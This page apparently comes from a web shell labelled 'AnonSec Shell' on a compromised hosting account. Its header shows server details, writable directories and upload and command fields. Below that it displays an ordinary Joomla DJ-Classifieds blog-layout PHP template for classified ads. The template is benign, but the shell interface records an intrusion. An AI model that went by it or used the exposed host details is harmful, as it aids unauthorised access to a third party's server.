AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.117
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/sartrouville/components/com_djclassifieds/views/items/tmpl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/sartrouville/components/com_djclassifieds/views/items/tmpl/blog.php
<?php
/**
 * @package DJ-Classifieds
 * @copyright Copyright (C) DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 */

defined ('_JEXEC') or die('Restricted access');

JHtml::_('jquery.framework');

$app = JFactory::getApplication();
$user = JFactory::getUser();
$par = $this->par;

?>

<?php if($app->input->getInt('rid', 0) || $app->input->getInt('se') || $app->input->getInt('fav', 0) || $app->input->getInt('uid', 0) || ($this->is_main_cat ? $par->get('items_in_main_cat',1) : true)){ ?>
	<?php $trigger_before = trim(implode("\n", $app->triggerEvent('onBeforeDJClassifiedsDisplay', array (&$this->items, &$par, 'blog')))); ?>
	<?php if($trigger_before){ ?>
		<div class="djcf_before_display">
			<?php echo $trigger_before; ?>
		</div>
	<?php } ?>
	<div class="dj-items-blog">

	<?php $sort_vals = $par->get('blog_sorting_fields', array("title","date_a","date_e","cat","loc","price","display","distance")); ?>
	<?php 
		$sort_cols = array();
		foreach($this->sort_fields as $sort_f){
			if($sort_f->in_blog){
				$sort_vals[] = $sort_f->name;
				$sort_cols[$sort_f->name] = $sort_f->label;
			}
		} 
	?>

	<?php $app->triggerEvent('onBeforeDJClassifiedsDisplaySortBox', array(&$sort_cols, &$sort_vals, 'items.blog')); ?>

	<?php if($par->get('blog_sorting',0) && $sort_vals){ ?>
		<?php
			foreach($sort_vals as $key => $sort_v){
				if($sort_v == 'date_a' && $par->get('items_ordering') == 'date_sort'){
					$sort_vals[$key] = 'date_sort';
				}
			}
			$order = $app->input->getCmd('order') ? $app->input->getCmd('order') : $par->get('items_ordering','date_sort');
			$ord_t = $app->input->getCmd('ord_t') ? $app->input->getCmd('ord_t') : $par->get('items_ordering_dir','desc');
		?>
		<?php echo DJClassifiedsTheme::renderLayout('sortbox', array('sort_cols' => $sort_cols, 'sort_vals' => $sort_vals, 'order' => $order, 'ord_t' => $ord_t, 'cl' => 'blog_sorting_box', 'par' => $par)); ?>
	<?php } ?>
	
	<div class="djcf_items_blog">
	<?php
		$col_n = 100 / $par->get('blog_columns_number',2) - 0.1;
		$col_limit = $par->get('blog_columns_number',2);	

		foreach($this->items as $ii => $i){
			$cn = $ii%$par->get('blog_columns_number',1);
			if($cn==$col_limit-1){
				$cn .= ' last_col';
			}

			$row = '';
			if($i->promotions){
				$row.=' promotion '.str_ireplace(',', ' ', $i->promotions);
			}
			if($i->auction){
				$row .=' item_auction';
			}
			if($user->id && $par->get('favourite','1') && $i->f_id){
				$row .= ' item_fav';
			}
			$icon_new=0;
			if($i->date_start > JFactory::getDate('now - '.$par->get('icon_new_time','3').' day') && $par->get('icon_new','1')){
				$icon_new=1;
				$row .= ' item_new';  
			}
			if($i->user_id && !empty($i->profile['details']->verified)){
				$row .= ' verified_profile';
			}
			if($i->published==2){
				$row .=' item_archived';
			}
			
			echo '<div class="item_box'.$row.'" style="width:'.$col_n.'%;"><div class="item_box_bg'.$cn.'"><div class="item_box_in"><div class="item_box_in2 clearfix">';
			echo '<div class="title">';
				echo '<h2><a href="'.$i->item_uri.$this->anch.'">'.$i->name.'</a></h2>';
				if($i->type_id){
					echo DJClassifiedsType::getTypePreview($i->type_id);
				}
				if($icon_new){
					echo '<span class="new_icon">'.JText::_('COM_DJCLASSIFIEDS_NEW').'</span>';
				}
				if($i->user_id && !empty($i->profile['details']->verified)){
					echo '<span class="verified_icon" title="'.JText::_('COM_DJCLASSIFIEDS_VERIFIED_SELLER').'"></span>';
				}
				if(strstr($i->promotions, 'p_special')){
					echo '<span class="p_special_icon"></span>';
				}
				if($i->auction){
					echo '<span class="auction_icon" title="'.JText::_('COM_DJCLASSIFIEDS_AUCTION').'"></span>';
				}
				if($i->published==2){
					echo '<span class="archived_icon" title="'.JText::_('COM_DJCLASSIFIEDS_ARCHIVE_ADVERT').'"></span>';
				}
				if($par->get('favourite','1')){
					echo DJClassifiedsTheme::renderLayout('favbox', array('item_id' => $i->id, 'i_user_id' => $i->user_id, 'fav' => !empty($i->f_id), 'par' => $par));
				}
			echo '</div>';
			if($i->event->afterDJClassifiedsDisplayTitle){ ?>
				<div class="djcf_after_title">
					<?php echo $i->event->afterDJClassifiedsDisplayTitle; ?>
				</div>
			<?php } 			
				echo '<div class="blog_det">';
					if($par->get('blog_desc_position','right')=='right'){
						echo '<div class="item_box_right">';
					}									
					if(($par->get('blog_image','1')==1 && $i->images) || $par->get('blog_image','1')==2){
						echo '<div class="item_img">';						
						echo '<a href="'.$i->item_uri.$this->anch.'">';
							if($i->images){
								echo '<img src="'.JURI::base(true).$i->images[0]->thumb_blog.'" alt="'.str_ireplace('"', "'", $i->name).'"  />';
							}else{
								if($par->get('blank_img_source','0')==1){
									echo '<img style="'.DJClassifiedsImage::getThumbStyle(DJClassifiedsImage::getThumbType('blog'),$par).'" src="'.DJClassifiedsImage::getCatImage($i->cat_id).'" alt="'.str_ireplace('"', "'", $i->name).'"  />';
								}else{
									echo '<img class="no-image" style="'.DJClassifiedsImage::getThumbStyle(DJClassifiedsImage::getThumbType('blog'),$par).'" src="'.JURI::base().DJClassifiedsTheme::getImgAssetPath('no-image.svg').'" alt="'.str_ireplace('"', "'", $i->name).'" />';
								}
							}
							foreach($app->triggerEvent('onAfterDJClassifiedsDisplayImage', array($i, $par, 'items.blog')) as $plug_out) echo $plug_out;									 
						echo '</a>';
						echo '</div>';
					}
					if($par->get('blog_desc_position','right')=='right'){
						if($i->event->beforeDJClassifiedsDisplayContent){ ?>
							<div class="djcf_before_content">
								<?php echo $i->event->beforeDJClassifiedsDisplayContent; ?>
							</div>
						<?php }
						if($i->intro_desc){
							echo '<div class="item_desc">';
								echo '<span class="label_title">'.JText::_('COM_DJCLASSIFIEDS_DESCRIPTION').'</span>';
								echo '<span class="desc_info">'.mb_substr(strip_tags($i->intro_desc), 0, $par->get('introdesc_char_limit','120'), 'UTF-8').(mb_strlen(strip_tags($i->intro_desc)) > $par->get('introdesc_char_limit','120') ? '...' : '').'</span>';
							echo '</div>';
							echo '<div class="clear_both"></div>';
						}
						echo '</div>';
					}
					if($par->get('blog_category','0')){
						echo '<div class="category"><span class="label_title"></span>';
						if($i->event->DJClassifiedsDisplayCategory){
							echo $i->event->DJClassifiedsDisplayCategory;
						}else{
							if($par->get('blog_category','0')==2){
								echo '<a href="'.DJClassifiedsSEO::getCategoryRoute($i->cat_id.':'.$i->c_alias).'">'.JText::_($i->c_name).'</a>';
							}else{
								echo JText::_($i->c_name);	
							}
						}					
						echo '</div>';
					}
					if($par->get('blog_location','1') && $i->r_name && $par->get('show_regions','1') && $i->region_id){
						echo '<div class="region"><span class="label_title"></span><a href="'.DJClassifiedsSEO::getRegionRoute($i->region_id.':'.$i->r_alias).'">'.JText::_($i->r_name).'</a></div>';
					}
					if($par->get('blog_distance','0') && floatval($i->latitude) && floatval($i->longitude)){
						echo '<div class="region distance"><span class="label_title"></span>';
						if(isset($_COOKIE["djcf_latlon"]) && isset($i->distance_latlon)){
							$daddr = $i->latitude.','.$i->longitude;
							echo ' <a class="show_on_map" target="_blank" href="http://maps.google.com/maps?saddr='.str_ireplace('_', ',', $_COOKIE["djcf_latlon"]).'&daddr='.$daddr.'">';
							echo '<span title="'.JText::_('COM_DJCLASSIFIEDS_SHOW_ON_MAP').'">';
							echo round($i->distance_latlon).' ';
							if($par->get('column_distance_unit','km')=='km'){
								echo JText::_('COM_DJCLASSIFIEDS_KM');
							}else{
								echo JText::_('COM_DJCLASSIFIEDS_MI');
							}
							echo '</span>';
							echo '</a>';
						}elseif(($app->input->getVar('se_address','') || $app->input->getVar('se_postcode','')) && isset($i->distance)){
							echo '<span title="'.($app->input->getVar('se_address','') ? $app->input->getVar('se_address','') : $app->input->getVar('se_postcode','')).'">';
							echo round($i->distance).' ';
							if($par->get('column_distance_unit','km')=='km'){
								echo JText::_('COM_DJCLASSIFIEDS_KM');
							}else{
								echo JText::_('COM_DJCLASSIFIEDS_MI');
							}
							echo '</span>';
						}else{
							echo '<span onclick="getDJLocation()" class="show_distance">'.JText::_('COM_DJCLASSIFIEDS_SHOW_DISTANCE').'</span>';
						}
						echo '</div>';
					}
					
					if($plug_out_arr = $app->triggerEvent('onDJClassifiedsDisplayPrice', array($i, 'items.blog'))){
						foreach($plug_out_arr as $plug_out) echo $plug_out;
					}elseif($par->get('blog_price','1') && $par->get('show_price','1') && ($i->price || $i->auction)){
						echo '<div class="price"><span class="label_title"></span>';
							if($i->buynow){ 
								echo '<span class="buynow_label">'.JText::_('COM_DJCLASSIFIEDS_BUYNOW').': </span>';
							}
							if($i->price){
								echo DJClassifiedsTheme::priceFormat($i->price,$i->currency);
							}
							if($i->auction){
								$auction_price = $i->highest_bid ? $i->highest_bid : $i->price_start;
								echo '<div class="auction" title="'.($i->highest_bid ? JText::_('COM_DJCLASSIFIEDS_HIGHEST_BID') : JText::_('COM_DJCLASSIFIEDS_START_PRICE')).'">';
									echo '<span class="auction_icon"></span>';
									echo DJClassifiedsTheme::priceFormat($auction_price, $i->currency);
								echo '</div>';
							}
							if($i->price_negotiable){ 		
								echo '<div class="row_negotiable">';
									echo JText::_('COM_DJCLASSIFIEDS_PRICE_IS_NEGOTIABLE'); 
								echo '</div>';
							}
						echo '</div>';
					}						
					if($par->get('blog_desc_position','right')=='bottom'){	
						if($i->event->beforeDJClassifiedsDisplayContent){ ?>
							<div class="djcf_before_content">
								<?php echo $i->event->beforeDJClassifiedsDisplayContent; ?>
							</div>
						<?php }
						if($i->intro_desc){
							echo '<div class="item_box_bottom">';
								echo '<div class="item_desc">';
									echo '<span class="label_title">'.JText::_('COM_DJCLASSIFIEDS_DESCRIPTION').'</span>';
									echo '<span class="desc_info">'.mb_substr(strip_tags($i->intro_desc), 0, $par->get('introdesc_char_limit','120'), 'UTF-8').(mb_strlen(strip_tags($i->intro_desc)) > $par->get('introdesc_char_limit','120') ? '...' : '').'</span>';
								echo '</div>';
							echo '</div>';
						}
					}
					foreach($i->fields_blog as $f){
						echo '<div class="cf_box '.$f->name.' '.$f->class.'">';
							echo '<span class="label_title">'.$f->label.': </span>';
							echo $f->value_conv;
						echo '</div>';
					}
					
					if($par->get('blog_profile','0') && $i->user_id){
						echo '<div class="blog_profile_box">';
							echo '<a class="profile_img" href="'.$i->profile_uri.'">';
								if($par->get('profile_avatar_source','')){
									echo DJClassifiedsSocial::getUserAvatar($i->user_id,$par->get('profile_avatar_source',''),'S');
								}else{
									if($i->profile['img']){
										echo '<img src="'.JURI::base(true).$i->profile['img']->path.$i->profile['img']->name.'_ths.'.$i->profile['img']->ext.'" />';
									}else{
										echo '<img style="'.DJClassifiedsImage::getThumbStyle('p_ths',$par).'" src="'.JURI::base(true).'/'.DJClassifiedsTheme::getImgAssetPath('default_profile.svg').'" />';
									}
								}
							echo '</a>';						
							echo '<a title="'.JText::_('COM_DJCLASSIFIEDS_SEE_ALL_USER_ADVERTS').'" class="profile_name" href="'.$i->profile_uri.'">';
								echo $i->username;
							echo '</a>';					
						echo '</div>';
					} ?>

					<?php if($i->event->afterDJClassifiedsDisplayContent){ ?>
						<div class="djcf_after_content">
							<?php echo $i->event->afterDJClassifiedsDisplayContent; ?>
						</div>
					<?php }	?>
					
					<?php if($par->get('blog_readmore','1')){					
						echo '<div class="see_details_box">';
							echo '<a class="see_details" href="'.$i->item_uri.$this->anch.'">'.JText::_('COM_DJCLASSIFIEDS_SEE_DETAILS').'</a>';
						echo '</div>';
					}					
		
			echo '</div>';
			if(strstr($i->promotions, 'p_special')){
				echo '<span class="p_special_img">&nbsp;</span>';
			} 
			echo '</div></div></div></div>';
		}
		?>	
		<div class="clear_both"></div>
		<?php
			if(!$this->items){
				echo '<div class="no_results">';
					if($app->input->getInt('se')){
						echo JText::_('COM_DJCLASSIFIEDS_NO_RESULTS');	
					}else if($par->get('show_fav_profiles_items','0')){
						echo JText::_('COM_DJCLASSIFIEDS_NO_RESULTS_FAVOURITE_PROFILES');
					}else if($app->input->getInt('fav', 0) && $par->get('show_fav_items','1')){
						echo JText::_('COM_DJCLASSIFIEDS_NO_RESULTS_FAVOURITES');
					}else if($app->input->getInt('cid', 0)){
						echo JText::_('COM_DJCLASSIFIEDS_NO_CATEGORY_RESULTS');
					}else{
						echo JText::_('COM_DJCLASSIFIEDS_NO_RESULTS_DEFAULT');
					}
				echo '</div>';
			}
		?>
		</div>
		<?php if($this->pagination->getPagesLinks()){ ?>
			<div class="pagination">
				<?php echo $this->pagination->getPagesLinks(); ?>
			</div>
		<?php } ?>
	</div>

	<?php if($par->get('main_cat_desc','0') && $par->get('main_cat_desc_position','0') == '1' && !empty($this->main_cat->description) && !($par->get('main_cat_desc_first_page_only','0') && !$this->first_page)){ ?>
		<div class="main_cat_desc"><?php echo JText::_($this->main_cat->description); ?></div>
	<?php } ?>

	<?php $trigger_after = trim(implode("\n", $app->triggerEvent('onAfterDJClassifiedsDisplay', array (&$this->items, &$par, 'blog')))); ?>
	<?php if($trigger_after){ ?>
		<div class="djcf_after_display">
			<?php echo $trigger_after; ?>
		</div>
	<?php } ?>
<?php } ?>

<?php echo DJClassifiedsTheme::renderModule('djcf-bottom'); ?>

<?php
	if($this->main_cat){
		echo DJClassifiedsTheme::renderModule('djcf-bottom-cat'.$this->main_cat->id);
	}
?>

</div>
<script>

	jQuery(window).on('load.djclassifieds.items', function(){
		DJCatMatchModules('.item_box_in2', '<?php echo $col_limit; ?>');
	});

	jQuery(window).on('resize', function(){
		DJCatMatchModules('.item_box_in2', '<?php echo $col_limit; ?>');
	});

</script>

Anon7 - 2022
AnonSec Team